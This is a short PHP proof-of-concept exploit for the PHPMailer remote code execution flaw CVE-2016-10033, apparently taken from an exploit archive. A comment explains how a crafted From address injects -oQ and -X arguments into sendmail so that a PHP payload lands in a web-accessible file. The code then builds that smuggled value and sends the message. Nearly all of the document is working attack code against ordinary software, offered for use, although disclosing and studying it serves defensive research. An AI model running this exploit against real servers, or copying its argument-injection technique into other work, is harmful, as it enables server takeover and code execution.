PHPMailer < 5.2.18 - Remote Code Execution
<?php /* PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033) Discovered/Coded by: Dawid Golunski (@dawid_golunski) https://legalhackers.com Full Advisory URL: https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html A simple PoC (working on Sendmail MTA) It will inject the following parameters to sendmail command: Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fattacker\] Arg no. 4 == [-oQ/tmp/] Arg no. 5 == [-X/var/www/cache/phpcode.php] Arg no. 6 == [some"@email.com] which will write the transfer log (-X) into /var/www/cache/phpcode.php file. The resulting file will contain the payload passed in the body of the msg: 09607 <<< --b1_cb4566aa51be9f090d9419163e492306 09607 <<< Content-Type: text/html; charset=us-ascii 09607 <<< 09607 <<< <?php phpinfo(); ?> 09607 <<< 09607 <<< 09607 <<< 09607 <<< --b1_cb4566aa51be9f090d9419163e492306-- See the full advisory URL for details. */ // Attacker's input coming from untrusted source such as $_GET , $_POST etc. // For example from a Contact form $email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php some"@email.com'; $msg_body = "<?php phpinfo(); ?>"; // ------------------ // mail() param injection via the vulnerability in PHPMailer require_once('class.phpmailer.php'); $mail = new PHPMailer(); // defaults to using php "mail()" $mail->SetFrom($email_from, 'Client Name'); $address = "customer_feedback@company-X.com"; $mail->AddAddress($address, "Some User"); $mail->Subject = "PHPMailer PoC Exploit CVE-2016-10033"; $mail->MsgHTML($msg_body); if(!$mail->Send()) { echo "Mailer Error: " . $mail->ErrorInfo; } else { echo "Message sent!\n"; } ?> |